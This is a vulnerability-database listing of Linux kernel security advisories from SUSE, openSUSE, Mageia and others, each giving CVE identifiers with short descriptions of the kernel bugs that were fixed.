  • nfnetlink_osf: validate individual option lengths in fingerprints {CVE-2026-23397}
  • Squashfs: check metadata block offset is within range {CVE-2026-23388}
  • net: bridge: fix nd_tbl NULL dereference when IPv6 is disabled {CVE-2026-23381}
  • wifi: mac80211: fix NULL deref in mesh_matches_local() {CVE-2026-23396}
  • icmp: fix NULL pointer dereference in icmp_tag_validation() {CVE-2026-23398}
  • HID: Add HID_CLAIMED_INPUT guards in raw_event callbacks missing them {CVE-2026-23382}
  • net: usb: kalmia: validate USB endpoints {CVE-2026-23365}
  • wifi: radiotap: reject radiotap with unknown bits {CVE-2026-23367}
  • drbd: fix "LOGIC BUG" in drbd_al_begin_io_nonblock() {CVE-2026-23356}
  • batman-adv: reject oversized global TT response buffers {CVE-2026-31659}
  • drm/amdkfd: Fix out-of-bounds write in kfd_event_page_set() {CVE-2026-43206}
  • net: ipv6: ndisc: fix ndisc_ra_useropt to initialize nduseropt_padX fields to zero to prevent an info-leak {CVE-2026-43040}
  • ALSA: ctxfi: Limit PTP to a single page {CVE-2026-31602}
  • nvdimm/bus: Fix potential use after free in asynchronous initialization {CVE-2026-31399}
  • usb: class: cdc-wdm: fix reordering issue in read code path {CVE-2026-43427}
  • media: dvb-net: fix OOB access in ULE extension header tables {CVE-2026-31405}
  • sysctl: Fix data races in proc_douintvec(). {CVE-2022-49641}
  • netfilter: nfnetlink_cthelper: fix OOB read in nfnl_cthelper_dump_table() {CVE-2026-43450}
  • ALSA: caiaq: fix stack out-of-bounds read in init_card {CVE-2026-31778}
  • atm: lec: fix use-after-free in sock_def_readable() {CVE-2026-43050}
  • fs: writeback: fix use-after-free in __mark_inode_dirty() {CVE-2025-39866}
  • usb: core: config: Prevent OOB read in SS endpoint companion parsing {CVE-2025-39760}
  • crypto: lzo - Fix compression buffer overrun {CVE-2025-38068}
  • KVM: x86: Reset IRTE to host control if new route isn't postable {CVE-2025-37885}
  • vhost-scsi: Fix handling of multiple calls to vhost_scsi_set_endpoint {CVE-2025-22083}
  • mm:…
Record
CLSA-2026-1787304608
Updated
2026-11-02
OSVMGASA-2024-0344 No score

Updated kernel-linus packages fix security vulnerabilities

Vanilla upstream kernel version 6.6.58 fixes bugs and vulnerabilities. For information about the vulnerabilities see the links.

Record
MGASA-2024-0344
Updated
2026-11-02
OSVMGASA-2024-0345 No score

Updated kernel, kmod-xtables-addons. kmod-virtualbox, kernel-firmware & kernel-firmware-nonfree radeon-firmware packages fix security vulnerabilities

Upstream kernel version 6.6.58 fixes bugs and vulnerabilities. The kmod-virtualbox and kmod-xtables-addons packages have been updated to work with this new kernel. For information about the vulnerabilities see the links.

Record
MGASA-2024-0345
Updated
2026-11-02
OSVopenSUSE-SU-2024:14500-1 No score

kernel-devel-6.11.8-1.1 on GA media

These are all security issues fixed in the kernel-devel-6.11.8-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2024:14500-1
Updated
2026-11-02
OSVopenSUSE-SU-2025:14705-1 No score

kernel-devel-longterm-6.12.11-1.1 on GA media

These are all security issues fixed in the kernel-devel-longterm-6.12.11-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2025:14705-1
Updated
2026-11-02
OSVSUSE-SU-2024:3983-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP5 Azure kernel was updated to receive various security bugfixes.

The following security bugs were fixed:

  • CVE-2022-48879: efi: fix NULL-deref in init error path (bsc#1229556).
  • CVE-2022-48956: ipv6: avoid use-after-free in ip6_fragment() (bsc#1231893).
  • CVE-2022-48957: dpaa2-switch: Fix memory leak in dpaa2_switch_acl_entry_add() and dpaa2_switch_acl_entry_remove() (bsc#1231973).
  • CVE-2022-48958: ethernet: aeroflex: fix potential skb leak in greth_init_rings() (bsc#1231889).
  • CVE-2022-48959: net: dsa: sja1105: fix memory leak in sja1105_setup_devlink_regions() (bsc#1231976).
  • CVE-2022-48960: net: hisilicon: Fix potential use-after-free in hix5hd2_rx() (bsc#1231979).
  • CVE-2022-48962: net: hisilicon: Fix potential use-after-free in hisi_femac_rx() (bsc#1232286).
  • CVE-2022-48966: net: mvneta: Fix an out of bounds check (bsc#1232191).
  • CVE-2022-48980: net: dsa: sja1105: avoid out of bounds access in sja1105_init_l2_policing() (bsc#1232233).
  • CVE-2022-48991: mm/khugepaged: fix collapse_pte_mapped_thp() to allow anon_vma (bsc#1232070 git-fix prerequisity).
  • CVE-2022-49015: net: hsr: Fix potential use-after-free (bsc#1231938).
  • CVE-2022-49017: tipc: re-fetch skb cb after tipc_msg_validate (bsc#1232004).
  • CVE-2022-49020: net/9p: Fix a potential socket leak in p9_socket_open (bsc#1232175).
  • CVE-2024-36244: net/sched: taprio: extend minimum interval restriction to entire cycle too (bsc#1226797).
  • CVE-2024-36957: octeontx2-af: avoid off-by-one read from userspace (bsc#1225762).
  • CVE-2024-39476: md/raid5: fix deadlock that raid5d() wait for itself to clear MD_SB_CHANGE_PENDING (bsc#1227437).
  • CVE-2024-40965: i2c: lpi2c: Avoid calling clk_get_rate during transfer (bsc#1227885).
  • CVE-2024-42226: Prevent potential failure in handle_tx_event() for Transfer events without TRB (bsc#1228709).
  • CVE-2024-42253: gpio: pca953x: fix pca953x_irq_bus_sync_unlock race (bsc#1229005 stable-fixes).
  • CVE-2024-44931: gpio: prevent potential speculation leaks in gpio_device_get_desc() (bsc#1229837 stable-fixes).
  • CVE-2024-44958: sched/smt: Fix unbalance sched_smt_present dec/inc (bsc#1230179).
  • CVE-2024-45016: netem: fix return value if duplicate enqueue fails (bsc#1230429).
  • CVE-2024-45025: fix bitmap corruption on close_range() with CLOSE_RANGE_UNSHARE (bsc#1230456).
  • CVE-2024-46716: dmaengine: altera-msgdma: properly free descriptor in msgdma_free_descriptor (bsc#1230715).
  • CVE-2024-46754: bpf: Remove tst_run from lwt_seg6local_prog_ops (bsc#1230801).
  • CVE-2024-46777: udf: Avoid excessive partition lengths (bsc#1230773).
  • CVE-2024-46809: drm/amd/display: Check BIOS images before it is used (bsc#1231148).
  • CVE-2024-46811: drm/amd/display: Fix index may exceed array range within fpu_update_bw_bounding_box (bsc#1231179).
  • CVE-2024-46813: drm/amd/display: Check link_index before accessing dc->links (bsc#1231191).
  • CVE-2024-46814: drm/amd/display: Check msg_id before processing transcation (bsc#1231193).
  • CVE-2024-46815: drm/amd/display: Check num_valid_sets before accessing reader_wm_sets (bsc#1231195).
  • CVE-2024-46816: drm/amd/display: Stop amdgpu_dm initialize when link nums greater than max_links (bsc#1231197).
  • CVE-2024-46817: drm/amd/display: Stop amdgpu_dm initialize when stream nums greater than 6 (bsc#1231200).
  • CVE-2024-46818: drm/amd/display: Check gpio_id before used as array index (bsc#1231203).
  • CVE-2024-46828: uprobes: fix kernel info leak via '[uprobes]' vma (bsc#1231114).
  • CVE-2024-46834: ethtool: fail closed if we can't get max channel used in indirection tables (bsc#1231096).
  • CVE-2024-46840: btrfs: clean up our handling of refs == 0 in snapshot delete (bsc#1231105).
  • CVE-2024-46841: btrfs: do not BUG_ON on ENOMEM from btrfs_lookup_extent_info() in walk_down_proc() (bsc#1231094).
  • CVE-2024-46848: perf/x86/intel: Limit the period on Haswell (bsc#1231072).
  • CVE-2024-46849: ASoC: meson: axg-card: fix 'use-after-free' (bsc#1231073).
  • CVE-2024-47660: fsnotify: clear…
Record
SUSE-SU-2024:3983-1
Updated
2026-11-02
OSVSUSE-SU-2024:3984-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP6 Azure kernel was updated to receive various security bugfixes.

The following security bugs were fixed:

  • CVE-2024-36244: net/sched: taprio: extend minimum interval restriction to entire cycle too (bsc#1226797).
  • CVE-2024-41031: mm/filemap: skip to create PMD-sized page cache if needed (bsc#1228454).
  • CVE-2024-41082: nvme-fabrics: use reserved tag for reg read/write command (bsc#1228620).
  • CVE-2024-44958: sched/smt: Fix unbalance sched_smt_present dec/inc (bsc#1230179).
  • CVE-2024-45016: netem: fix return value if duplicate enqueue fails (bsc#1230429).
  • CVE-2024-45025: fix bitmap corruption on close_range() with CLOSE_RANGE_UNSHARE (bsc#1230456).
  • CVE-2024-46678: bonding: change ipsec_lock from spin lock to mutex (bsc#1230550).
  • CVE-2024-46721: pparmor: fix possible NULL pointer dereference (bsc#1230710)
  • CVE-2024-46754: bpf: Remove tst_run from lwt_seg6local_prog_ops (bsc#1230801).
  • CVE-2024-46766: ice: move netif_queue_set_napi to rtnl-protected sections (bsc#1230762).
  • CVE-2024-46770: ice: Add netif_device_attach/detach into PF reset flow (bsc#1230763).
  • CVE-2024-46775: drm/amd/display: Validate function returns (bsc#1230774).
  • CVE-2024-46777: udf: Avoid excessive partition lengths (bsc#1230773).
  • CVE-2024-46813: drm/amd/display: Check link_index before accessing dc->links (bsc#1231191).
  • CVE-2024-46816: drm/amd/display: Stop amdgpu_dm initialize when link nums greater than max_links (bsc#1231197).
  • CVE-2024-46826: ELF: fix kernel.randomize_va_space double read (bsc#1231115).
  • CVE-2024-46828: uprobes: fix kernel info leak via '[uprobes]' vma (bsc#1231114).
  • CVE-2024-46831: net: microchip: vcap: Fix use-after-free error in kunit test (bsc#1231117).
  • CVE-2024-46834: ethtool: fail closed if we can't get max channel used in indirection tables (bsc#1231096).
  • CVE-2024-46840: btrfs: clean up our handling of refs == 0 in snapshot delete (bsc#1231105).
  • CVE-2024-46841: btrfs: do not BUG_ON on ENOMEM from btrfs_lookup_extent_info() in walk_down_proc() (bsc#1231094).
  • CVE-2024-46843: scsi: ufs: core: Remove SCSI host only if added (bsc#1231100).
  • CVE-2024-46854: net: dpaa: Pad packets to ETH_ZLEN (bsc#1231084).
  • CVE-2024-46855: netfilter: nft_socket: fix sk refcount leaks (bsc#1231085).
  • CVE-2024-46857: net/mlx5: Fix bridge mode operations when there are no VFs (bsc#1231087).
  • CVE-2024-46870: drm/amd/display: Disable DMCUB timeout for DCN35 (bsc#1231435).
  • CVE-2024-47658: crypto: stm32/cryp - call finalize with bh disabled (bsc#1231436).
  • CVE-2024-47660: fsnotify: clear PARENT_WATCHED flags lazily (bsc#1231439).
  • CVE-2024-47664: spi: hisi-kunpeng: Add verification for the max_frequency provided by the firmware (bsc#1231442).
  • CVE-2024-47674: mm: avoid leaving partial pfn mappings around in error case (bsc#1231673).
  • CVE-2024-47684: tcp: check skb is non-NULL in tcp_rto_delta_us() (bsc#1231987).
  • CVE-2024-47685: netfilter: nf_reject_ipv6: fix nf_reject_ip6_tcphdr_put() (bsc#1231998).
  • CVE-2024-47687: vdpa/mlx5: Fix invalid mr resource destroy (bsc#1232003).
  • CVE-2024-47692: nfsd: return -EINVAL when namelen is 0 (bsc#1231857).
  • CVE-2024-47704: drm/amd/display: Check link_res->hpo_dp_link_enc before using it (bsc#1231944).
  • CVE-2024-47705: block: fix potential invalid pointer dereference in blk_add_partition (bsc#1231872).
  • CVE-2024-47706: block, bfq: fix possible UAF for bfqq->bic with merge chain (bsc#1231942).
  • CVE-2024-47707: ipv6: avoid possible NULL deref in rt6_uncached_list_flush_dev() (bsc#1231935).
  • CVE-2024-47710: sock_map: Add a cond_resched() in sock_hash_free() (bsc#1232049).
  • CVE-2024-47727: x86/tdx: Fix 'in-kernel MMIO' check (bsc#1232116).
  • CVE-2024-47730: crypto: hisilicon/qm - inject error before stopping queue (bsc#1232075).
  • CVE-2024-47731: drivers/perf: Fix ali_drw_pmu driver interrupt status clearing (bsc#1232117).
  • CVE-2024-47739: padata: use integer wrap around to prevent deadlock on seq_nr overflow (bsc#1232124).
  • CVE-2024-47741:…
Record
SUSE-SU-2024:3984-1
Updated
2026-11-02
OSVSUSE-SU-2024:3985-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP5 RT kernel was updated to receive various security bugfixes.

The following security bugs were fixed:

  • CVE-2022-48879: efi: fix NULL-deref in init error path (bsc#1229556).
  • CVE-2022-48956: ipv6: avoid use-after-free in ip6_fragment() (bsc#1231893).
  • CVE-2022-48957: dpaa2-switch: Fix memory leak in dpaa2_switch_acl_entry_add() and dpaa2_switch_acl_entry_remove() (bsc#1231973).
  • CVE-2022-48958: ethernet: aeroflex: fix potential skb leak in greth_init_rings() (bsc#1231889).
  • CVE-2022-48959: net: dsa: sja1105: fix memory leak in sja1105_setup_devlink_regions() (bsc#1231976).
  • CVE-2022-48960: net: hisilicon: Fix potential use-after-free in hix5hd2_rx() (bsc#1231979).
  • CVE-2022-48962: net: hisilicon: Fix potential use-after-free in hisi_femac_rx() (bsc#1232286).
  • CVE-2022-48966: net: mvneta: Fix an out of bounds check (bsc#1232191).
  • CVE-2022-48980: net: dsa: sja1105: avoid out of bounds access in sja1105_init_l2_policing() (bsc#1232233).
  • CVE-2022-48991: mm/khugepaged: fix collapse_pte_mapped_thp() to allow anon_vma (bsc#1232070).
  • CVE-2022-49015: net: hsr: Fix potential use-after-free (bsc#1231938).
  • CVE-2022-49017: tipc: re-fetch skb cb after tipc_msg_validate (bsc#1232004).
  • CVE-2022-49020: net/9p: Fix a potential socket leak in p9_socket_open (bsc#1232175).
  • CVE-2024-36244: net/sched: taprio: extend minimum interval restriction to entire cycle too (bsc#1226797).
  • CVE-2024-36957: octeontx2-af: avoid off-by-one read from userspace (bsc#1225762).
  • CVE-2024-39476: md/raid5: fix deadlock that raid5d() wait for itself to clear MD_SB_CHANGE_PENDING (bsc#1227437).
  • CVE-2024-40965: i2c: lpi2c: Avoid calling clk_get_rate during transfer (bsc#1227885).
  • CVE-2024-42226: Prevent potential failure in handle_tx_event() for Transfer events without TRB (bsc#1228709).
  • CVE-2024-42253: gpio: pca953x: fix pca953x_irq_bus_sync_unlock race (bsc#1229005).
  • CVE-2024-44931: gpio: prevent potential speculation leaks in gpio_device_get_desc() (bsc#1229837).
  • CVE-2024-44958: sched/smt: Fix unbalance sched_smt_present dec/inc (bsc#1230179).
  • CVE-2024-45016: netem: fix return value if duplicate enqueue fails (bsc#1230429).
  • CVE-2024-45025: fix bitmap corruption on close_range() with CLOSE_RANGE_UNSHARE (bsc#1230456).
  • CVE-2024-46678: bonding: change ipsec_lock from spin lock to mutex (bsc#1230550).
  • CVE-2024-46716: dmaengine: altera-msgdma: properly free descriptor in msgdma_free_descriptor (bsc#1230715).
  • CVE-2024-46754: bpf: Remove tst_run from lwt_seg6local_prog_ops (bsc#1230801).
  • CVE-2024-46770: ice: Add netif_device_attach/detach into PF reset flow (bsc#1230763).
  • CVE-2024-46775: drm/amd/display: Validate function returns (bsc#1230774).
  • CVE-2024-46777: udf: Avoid excessive partition lengths (bsc#1230773).
  • CVE-2024-46809: drm/amd/display: Check BIOS images before it is used (bsc#1231148).
  • CVE-2024-46811: drm/amd/display: Fix index may exceed array range within fpu_update_bw_bounding_box (bsc#1231179).
  • CVE-2024-46813: drm/amd/display: Check link_index before accessing dc->links (bsc#1231191).
  • CVE-2024-46814: drm/amd/display: Check msg_id before processing transcation (bsc#1231193).
  • CVE-2024-46815: drm/amd/display: Check num_valid_sets before accessing reader_wm_sets (bsc#1231195).
  • CVE-2024-46816: drm/amd/display: Stop amdgpu_dm initialize when link nums greater than max_links (bsc#1231197).
  • CVE-2024-46817: drm/amd/display: Stop amdgpu_dm initialize when stream nums greater than 6 (bsc#1231200).
  • CVE-2024-46818: drm/amd/display: Check gpio_id before used as array index (bsc#1231203).
  • CVE-2024-46826: ELF: fix kernel.randomize_va_space double read (bsc#1231115).
  • CVE-2024-46828: uprobes: fix kernel info leak via '[uprobes]' vma (bsc#1231114).
  • CVE-2024-46834: ethtool: fail closed if we can't get max channel used in indirection tables (bsc#1231096).
  • CVE-2024-46840: btrfs: clean up our handling of refs == 0 in snapshot delete (bsc#1231105).
  • CVE-2024-46841: btrfs: do not…
Record
SUSE-SU-2024:3985-1
Updated
2026-11-02
OSVSUSE-SU-2024:3986-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP6 RT kernel was updated to receive various security bugfixes.

The following security bugs were fixed:

  • CVE-2024-36244: net/sched: taprio: extend minimum interval restriction to entire cycle too (bsc#1226797).
  • CVE-2024-41031: mm/filemap: skip to create PMD-sized page cache if needed (bsc#1228454).
  • CVE-2024-41082: nvme-fabrics: use reserved tag for reg read/write command (bsc#1228620).
  • CVE-2024-44958: sched/smt: Fix unbalance sched_smt_present dec/inc (bsc#1230179).
  • CVE-2024-45016: netem: fix return value if duplicate enqueue fails (bsc#1230429).
  • CVE-2024-45025: fix bitmap corruption on close_range() with CLOSE_RANGE_UNSHARE (bsc#1230456).
  • CVE-2024-46678: bonding: change ipsec_lock from spin lock to mutex (bsc#1230550).
  • CVE-2024-46721: pparmor: fix possible NULL pointer dereference (bsc#1230710)
  • CVE-2024-46754: bpf: Remove tst_run from lwt_seg6local_prog_ops (bsc#1230801).
  • CVE-2024-46766: ice: move netif_queue_set_napi to rtnl-protected sections (bsc#1230762).
  • CVE-2024-46770: ice: Add netif_device_attach/detach into PF reset flow (bsc#1230763).
  • CVE-2024-46775: drm/amd/display: Validate function returns (bsc#1230774).
  • CVE-2024-46777: udf: Avoid excessive partition lengths (bsc#1230773).
  • CVE-2024-46813: drm/amd/display: Check link_index before accessing dc->links (bsc#1231191).
  • CVE-2024-46816: drm/amd/display: Stop amdgpu_dm initialize when link nums greater than max_links (bsc#1231197).
  • CVE-2024-46826: ELF: fix kernel.randomize_va_space double read (bsc#1231115).
  • CVE-2024-46828: uprobes: fix kernel info leak via '[uprobes]' vma (bsc#1231114).
  • CVE-2024-46831: net: microchip: vcap: Fix use-after-free error in kunit test (bsc#1231117).
  • CVE-2024-46834: ethtool: fail closed if we can't get max channel used in indirection tables (bsc#1231096).
  • CVE-2024-46840: btrfs: clean up our handling of refs == 0 in snapshot delete (bsc#1231105).
  • CVE-2024-46841: btrfs: do not BUG_ON on ENOMEM from btrfs_lookup_extent_info() in walk_down_proc() (bsc#1231094).
  • CVE-2024-46843: scsi: ufs: core: Remove SCSI host only if added (bsc#1231100).
  • CVE-2024-46854: net: dpaa: Pad packets to ETH_ZLEN (bsc#1231084).
  • CVE-2024-46855: netfilter: nft_socket: fix sk refcount leaks (bsc#1231085).
  • CVE-2024-46857: net/mlx5: Fix bridge mode operations when there are no VFs (bsc#1231087).
  • CVE-2024-46870: drm/amd/display: Disable DMCUB timeout for DCN35 (bsc#1231435).
  • CVE-2024-47658: crypto: stm32/cryp - call finalize with bh disabled (bsc#1231436).
  • CVE-2024-47660: fsnotify: clear PARENT_WATCHED flags lazily (bsc#1231439).
  • CVE-2024-47664: spi: hisi-kunpeng: Add verification for the max_frequency provided by the firmware (bsc#1231442).
  • CVE-2024-47674: mm: avoid leaving partial pfn mappings around in error case (bsc#1231673).
  • CVE-2024-47684: tcp: check skb is non-NULL in tcp_rto_delta_us() (bsc#1231987).
  • CVE-2024-47685: netfilter: nf_reject_ipv6: fix nf_reject_ip6_tcphdr_put() (bsc#1231998).
  • CVE-2024-47687: vdpa/mlx5: Fix invalid mr resource destroy (bsc#1232003).
  • CVE-2024-47692: nfsd: return -EINVAL when namelen is 0 (bsc#1231857).
  • CVE-2024-47704: drm/amd/display: Check link_res->hpo_dp_link_enc before using it (bsc#1231944).
  • CVE-2024-47705: block: fix potential invalid pointer dereference in blk_add_partition (bsc#1231872).
  • CVE-2024-47706: block, bfq: fix possible UAF for bfqq->bic with merge chain (bsc#1231942).
  • CVE-2024-47707: ipv6: avoid possible NULL deref in rt6_uncached_list_flush_dev() (bsc#1231935).
  • CVE-2024-47710: sock_map: Add a cond_resched() in sock_hash_free() (bsc#1232049).
  • CVE-2024-47727: x86/tdx: Fix 'in-kernel MMIO' check (bsc#1232116).
  • CVE-2024-47730: crypto: hisilicon/qm - inject error before stopping queue (bsc#1232075).
  • CVE-2024-47731: drivers/perf: Fix ali_drw_pmu driver interrupt status clearing (bsc#1232117).
  • CVE-2024-47739: padata: use integer wrap around to prevent deadlock on seq_nr overflow (bsc#1232124).
  • CVE-2024-47741:…
Record
SUSE-SU-2024:3986-1
Updated
2026-11-02
OSVSUSE-SU-2024:4100-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 12 SP5 kernel was updated to receive various security bugfixes.

The Linux Enterprise 12 SP5 kernel turned LTSS (Extended Security)

The following security bugs were fixed:

  • CVE-2021-46936: Fixed use-after-free in tw_timer_handler() (bsc#1220439).
  • CVE-2021-47163: kABI fix for tipc: wait and exit until all work queues are done (bsc#1221980).
  • CVE-2021-47612: nfc: fix segfault in nfc_genl_dump_devices_done (bsc#1226585).
  • CVE-2022-48809: net: fix a memleak when uncloning an skb dst and its metadata (bsc#1227947).
  • CVE-2022-48951: ASoC: ops: Correct bounds check for second channel on SX controls (bsc#1231929).
  • CVE-2022-48956: ipv6: avoid use-after-free in ip6_fragment() (bsc#1231893).
  • CVE-2022-48958: ethernet: aeroflex: fix potential skb leak in greth_init_rings() (bsc#1231889).
  • CVE-2022-48960: net: hisilicon: Fix potential use-after-free in hix5hd2_rx() (bsc#1231979).
  • CVE-2022-48962: net: hisilicon: Fix potential use-after-free in hisi_femac_rx() (bsc#1232286).
  • CVE-2022-48966: net: mvneta: Fix an out of bounds check (bsc#1232191).
  • CVE-2022-48967: NFC: nci: Bounds check struct nfc_target arrays (bsc#1232304).
  • CVE-2022-48971: Bluetooth: Fix not cleanup led when bt_init fails (bsc#1232037).
  • CVE-2022-48972: mac802154: fix missing INIT_LIST_HEAD in ieee802154_if_add() (bsc#1232025).
  • CVE-2022-48973: gpio: amd8111: Fix PCI device reference count leak (bsc#1232039).
  • CVE-2022-48978: HID: core: fix shift-out-of-bounds in hid_report_raw_event (bsc#1232038).
  • CVE-2022-48991: mm/khugepaged: invoke MMU notifiers in shmem/file collapse paths (bsc#1232070).
  • CVE-2022-48992: ASoC: soc-pcm: Add NULL check in BE reparenting (bsc#1232071).
  • CVE-2022-49000: iommu/vt-d: Fix PCI device refcount leak in has_external_pci() (bsc#1232123).
  • CVE-2022-49002: iommu/vt-d: Fix PCI device refcount leak in dmar_dev_scope_init() (bsc#1232133).
  • CVE-2022-49010: hwmon: (coretemp) Check for null before removing sysfs attrs (bsc#1232172).
  • CVE-2022-49011: hwmon: (coretemp) fix pci device refcount leak in nv1a_ram_new() (bsc#1232006).
  • CVE-2022-49014: net: tun: Fix use-after-free in tun_detach() (bsc#1231890).
  • CVE-2022-49015: net: hsr: Fix potential use-after-free (bsc#1231938).
  • CVE-2022-49020: net/9p: Fix a potential socket leak in p9_socket_open (bsc#1232175).
  • CVE-2022-49021: net: phy: fix null-ptr-deref while probe() failed (bsc#1231939).
  • CVE-2022-49026: e100: Fix possible use after free in e100_xmit_prepare (bsc#1231997).
  • CVE-2022-49027: iavf: Fix error handling in iavf_init_module() (bsc#1232007).
  • CVE-2022-49028: ixgbevf: Fix resource leak in ixgbevf_init_module() (bsc#1231996).
  • CVE-2022-49029: hwmon: (ibmpex) Fix possible UAF when ibmpex_register_bmc() fails (bsc#1231995).
  • CVE-2023-52898: xhci: Fix null pointer dereference when host dies (bsc#1229568).
  • CVE-2023-52918: media: pci: cx23885: check cx23885_vdev_init() return (bsc#1232047).
  • CVE-2024-26804: net: ip_tunnel: prevent perpetual headroom growth (bsc#1222629).
  • CVE-2024-38538: net: bridge: xmit: make sure we have at least eth header len bytes (bsc#1226606).
  • CVE-2024-39476: md/raid5: fix deadlock that raid5d() wait for itself to clear MD_SB_CHANGE_PENDING (bsc#1227437).
  • CVE-2024-40965: i2c: lpi2c: Avoid calling clk_get_rate during transfer (bsc#1227885).
  • CVE-2024-41082: nvme-fabrics: use reserved tag for reg read/write command (bsc#1228620).
  • CVE-2024-42114: netlink: extend policy range validation (bsc#1228564 prerequisite).
  • CVE-2024-42253: gpio: pca953x: fix pca953x_irq_bus_sync_unlock race (bsc#1229005 stable-fixes).
  • CVE-2024-44931: gpio: prevent potential speculation leaks in gpio_device_get_desc() (bsc#1229837 stable-fixes).
  • CVE-2024-44958: sched/smt: Fix unbalance sched_smt_present dec/inc (bsc#1230179).
  • CVE-2024-46724: drm/amdgpu: Fix out-of-bounds read of df_v1_7_channel_number (bsc#1230725).
  • CVE-2024-46755: wifi: mwifiex: Do not return unused priv in mwifiex_get_priv_by_id() (bsc#1230802). -…
Record
SUSE-SU-2024:4100-1
Updated
2026-11-02
OSVSUSE-SU-2024:4315-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP5 RT kernel was updated to receive various security bugfixes.

The following security bugs were fixed:

  • CVE-2021-47594: mptcp: never allow the PM to close a listener subflow (bsc#1226560).
  • CVE-2022-48983: io_uring: Fix a null-ptr-deref in io_tctx_exit_cb() (bsc#1231959).
  • CVE-2024-26782: mptcp: fix double-free on socket dismantle (bsc#1222590).
  • CVE-2024-26906: Fixed invalid vsyscall page read for copy_from_kernel_nofault() (bsc#1223202).
  • CVE-2024-26953: net: esp: fix bad handling of pages from page_pool (bsc#1223656).
  • CVE-2024-35888: erspan: make sure erspan_base_hdr is present in skb->head (bsc#1224518).
  • CVE-2024-35937: wifi: cfg80211: check A-MSDU format more carefully (bsc#1224526).
  • CVE-2024-36883: net: fix out-of-bounds access in ops_init (bsc#1225725).
  • CVE-2024-36886: tipc: fix UAF in error path (bsc#1225730).
  • CVE-2024-36905: tcp: defer shutdown(SEND_SHUTDOWN) for TCP_SYN_RECV sockets (bsc#1225742).
  • CVE-2024-36954: tipc: fix a possible memleak in tipc_buf_append (bsc#1225764).
  • CVE-2024-38589: netrom: fix possible dead-lock in nr_rt_ioctl() (bsc#1226748).
  • CVE-2024-38615: cpufreq: exit() callback is optional (bsc#1226592).
  • CVE-2024-40997: cpufreq: amd-pstate: fix memory leak on CPU EPP exit (bsc#1227853).
  • CVE-2024-41023: sched/deadline: Fix task_struct reference leak (bsc#1228430).
  • CVE-2024-44932: idpf: fix UAFs when destroying the queues (bsc#1229808).
  • CVE-2024-44964: idpf: fix memory leaks and crashes while performing a soft reset (bsc#1230220).
  • CVE-2024-44995: net: hns3: fix a deadlock problem when config TC during resetting (bsc#1230231).
  • CVE-2024-46681: pktgen: use cpus_read_lock() in pg_net_init() (bsc#1230558).
  • CVE-2024-46800: sch/netem: fix use after free in netem_dequeue (bsc#1230827).
  • CVE-2024-47679: vfs: fix race between evice_inodes() and find_inode()&iput() (bsc#1231930).
  • CVE-2024-47701: ext4: avoid OOB when system.data xattr changes underneath the filesystem (bsc#1231920).
  • CVE-2024-47745: mm: call the security_mmap_file() LSM hook in remap_file_pages() (bsc#1232135).
  • CVE-2024-47757: nilfs2: fix potential oob read in nilfs_btree_check_delete() (bsc#1232187).
  • CVE-2024-49868: btrfs: fix a NULL pointer dereference when failed to start a new trasacntion (bsc#1232272).
  • CVE-2024-49921: drm/amd/display: Check null pointers before used (bsc#1232371).
  • CVE-2024-49925: fbdev: efifb: Register sysfs groups through driver core (bsc#1232224)
  • CVE-2024-49934: fs/inode: Prevent dump_mapping() accessing invalid dentry.d_name.name (bsc#1232387).
  • CVE-2024-49945: net/ncsi: Disable the ncsi work before freeing the associated structure (bsc#1232165).
  • CVE-2024-49950: Bluetooth: L2CAP: Fix uaf in l2cap_connect (bsc#1232159).
  • CVE-2024-49968: ext4: filesystems without casefold feature cannot be mounted with siphash (bsc#1232264).
  • CVE-2024-49983: ext4: drop ppath from ext4_ext_replay_update_ex() to avoid double-free (bsc#1232096).
  • CVE-2024-49989: drm/amd/display: fix double free issue during amdgpu module unload (bsc#1232483).
  • CVE-2024-50009: cpufreq: amd-pstate: add check for cpufreq_cpu_get's return value (bsc#1232318).
  • CVE-2024-50073: tty: n_gsm: Fix use-after-free in gsm_cleanup_mux (bsc#1232520).
  • CVE-2024-50082: blk-rq-qos: fix crash on rq_qos_wait vs. rq_qos_wake_function race (bsc#1232500).
  • CVE-2024-50089: unicode: Do not special case ignorable code points (bsc#1232860).
  • CVE-2024-50093: thermal: intel: int340x: processor: Fix warning during module unload (bsc#1232877).
  • CVE-2024-50098: scsi: ufs: core: Set SDEV_OFFLINE when UFS is shut down (bsc#1232881).
  • CVE-2024-50108: drm/amd/display: Disable PSR-SU on Parade 08-01 TCON too (bsc#1232884).
  • CVE-2024-50110: xfrm: fix one more kernel-infoleak in algo dumping (bsc#1232885).
  • CVE-2024-50115: KVM: nSVM: Ignore nCR3[4:0] when loading PDPTEs from memory (bsc#1232919).
  • CVE-2024-50125: Bluetooth: SCO: Fix UAF on sco_sock_timeout (bsc#1232928).
  • CVE-2024-50127: net: sched: fix…
Record
SUSE-SU-2024:4315-1
Updated
2026-11-02
OSVSUSE-SU-2024:4318-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP6 kernel was updated to receive various security bugfixes.

The following security bugs were fixed:

  • CVE-2024-53095: smb: client: Fix use-after-free of network namespace (bsc#1233642).
  • CVE-2023-52778: mptcp: deal with large GSO size (bsc#1224948).
  • CVE-2023-52920: bpf: support non-r10 register spill/fill to/from stack in precision tracking (bsc#1232823).
  • CVE-2023-6270: aoe: fix the potential use-after-free problem in more places (bsc#1218562).
  • CVE-2024-26596: net: dsa: fix netdev_priv() dereference before check on non-DSA netdevice events (bsc#1220355).
  • CVE-2024-26741: dccp/tcp: Unhash sk from ehash for tb2 alloc failure after check_estalblished() (bsc#1222587).
  • CVE-2024-26782: mptcp: fix double-free on socket dismantle (bsc#1222590).
  • CVE-2024-26953: net: esp: fix bad handling of pages from page_pool (bsc#1223656).
  • CVE-2024-27017: netfilter: nft_set_pipapo: walk over current view on netlink dump (bsc#1223733).
  • CVE-2024-35888: erspan: make sure erspan_base_hdr is present in skb->head (bsc#1224518).
  • CVE-2024-36000: mm/hugetlb: fix missing hugetlb_lock for resv uncharge (bsc#1224548).
  • CVE-2024-36244: net/sched: taprio: extend minimum interval restriction to entire cycle too (bsc#1226797).
